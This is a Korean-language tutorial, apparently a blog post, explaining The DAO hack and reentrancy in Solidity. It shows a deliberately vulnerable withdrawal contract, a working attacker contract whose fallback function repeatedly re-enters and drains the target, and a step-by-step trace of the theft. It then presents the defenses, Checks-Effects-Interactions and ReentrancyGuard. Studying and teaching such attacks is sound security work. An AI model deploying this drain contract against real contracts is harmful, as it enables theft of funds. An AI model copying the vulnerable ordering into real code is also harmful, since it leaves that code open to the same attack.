The DAO 해킹 사건과 Reentrancy Attack

// The DAO 컨트랙트의 취약한 코드 (단순화)
contract TheDAO {
    // 각 사용자가 예치한 ETH 잔액을 기록
    mapping(address => uint256) public balances;

    // 사용자가 자신의 예치금을 인출하는 함수
    function splitDAO() public {
        // 함수를 호출한 사람(msg.sender)의 잔액을 확인
        uint256 amount = balances[msg.sender];

        // 1. 잔액 확인: 출금할 금액이 있는지 체크
        require(amount > 0, "No balance");

        // 2. ETH 전송
        // msg.sender(함수를 호출한 사람)에게 ETH를 전송
        // 이 시점에 msg.sender가 컨트랙트라면, 그 컨트랙트의 fallback/receive 함수가 실행됨
        (bool success,) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // 3. 잔액 업데이트
        // 이 줄이 실행되기 전에 공격자의 fallback에서 다시 splitDAO()를 호출할 수 있음
        balances[msg.sender] = 0;
    }

    // 사용자가 ETH를 예치하는 함수
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
}

// 공격자의 악성 컨트랙트
contract Attacker {
    TheDAO public dao;                  // 공격 대상인 The DAO 컨트랙트 주소
    uint256 public initialDeposit;      // 초기 예치금 (1 ETH)

    constructor(address _daoAddress) {
        dao = TheDAO(_daoAddress);
        initialDeposit = 1 ether;
    }

    // 1. 공격 시작 함수
    function attack() external payable {
        require(msg.value >= initialDeposit, "Need at least 1 ETH");

        // The DAO에 1 ETH 예치
        // 이제 balances[이 컨트랙트 주소] = 1 ETH가 됨
        dao.deposit{value: initialDeposit}();

        // 출금 시작 (여기서 재진입 공격 시작)
        // splitDAO()를 호출하면 The DAO가 이 컨트랙트에 ETH를 전송함
        dao.splitDAO();
    }

    // 2. ETH를 받을 때마다 자동으로 실행되는 fallback 함수
    // payable이 있어야 ETH를 받을 수 있음
    // The DAO의 msg.sender.call{value: amount}("")가 실행되면
    // 이 컨트랙트로 ETH가 전송되고, 자동으로 이 fallback 함수가 호출됨
    fallback() external payable {
        // The DAO에 아직 ETH가 남아있는지 확인
        if (address(dao).balance >= initialDeposit) {
            // 🔄 다시 출금 요청! (잔액이 아직 0으로 안 바뀌어서 또 1 ETH를 받을 수 있음)
            dao.splitDAO();
            // 이 과정이 The DAO의 잔액이 바닥날 때까지 반복됨
        }
    }

    // 3. 탈취한 ETH를 공격자 계정으로 회수
    function withdraw() external {
        payable(msg.sender).transfer(address(this).balance);
    }
}

The DAO 잔액: 5 ETH
공격자 잔액: 1 ETH

The DAO 내부 기록:
balances[공격자] = 0 ETH

// 공격자가 실행
dao.deposit{value: 1 ether}();

The DAO 잔액: 6 ETH
공격자 잔액: 0 ETH

The DAO 내부 기록:
balances[공격자] = 1 ETH

// 공격자가 실행
dao.splitDAO();

// 1. 잔액 확인
uint256 amount = balances[공격자];  // amount = 1 ETH
require(amount > 0);  // ✅ 통과

// 2. ETH 전송 (여기서 공격자의 fallback 함수 실행!)
(bool success,) = 공격자.call{value: 1 ether}("");

// ⚠️ 아직 balances[공격자] = 0으로 업데이트 안됨!

// 공격자의 fallback 함수가 실행됨
fallback() external payable {
    // The DAO에 아직 5 ETH가 남아있음
    if (address(dao).balance >= 1 ether) {
        dao.splitDAO();  // 다시 호출! (재진입)
    }
}

// 1. 잔액 확인
uint256 amount = balances[공격자];  // 여전히 1 ETH! (업데이트 안됨)
require(amount > 0);  // ✅ 통과

// 2. ETH 전송 (또 1 ETH 전송!)
(bool success,) = 공격자.call{value: 1 ether}("");

호출 스택:
splitDAO() #1
  → 공격자 fallback()
    → splitDAO() #2
      → 공격자 fallback()
        → splitDAO() #3
          → 공격자 fallback()
            → splitDAO() #4
              → 공격자 fallback()
                → splitDAO() #5
                  → 공격자 fallback()
                    → splitDAO() #6 (잔액 부족, 종료)

The DAO 잔액: 0 ETH (전부 탈취됨!)
공격자 잔액: 6 ETH

The DAO 내부 기록:
balances[공격자] = 1 ETH (업데이트가 한 번도 안됨!)

function withdraw() public {
    uint256 amount = balances[msg.sender];

    // ✅ 올바른 순서
    require(amount > 0);           // 1. Checks (검증)
    balances[msg.sender] = 0;      // 2. Effects (상태 변경)

    (bool success,) = msg.sender.call{value: amount}("");  // 3. Interactions (외부 호출)
    require(success);
}

function withdraw() public {
    // 1. Checks: 조건 검증
    uint256 amount = balances[msg.sender];
    require(amount > 0, "No balance");

    // 2. Effects: 상태 변경 (먼저!)
    balances[msg.sender] = 0;

    // 3. Interactions: 외부 호출 (나중!)
    (bool success,) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SafeBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance");

        // nonReentrant 덕분에 재진입 시도 시 자동으로 revert
        (bool success,) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        balances[msg.sender] = 0;
    }
}

// OpenZeppelin의 ReentrancyGuard 내부 (단순 버전)
abstract contract ReentrancyGuard {
    uint256 private _status;

    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        // 재진입 시도 감지
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // 함수 실행 중임을 표시
        _status = _ENTERED;

        _;  // 실제 함수 실행

        // 함수 실행 완료
        _status = _NOT_ENTERED;
    }
}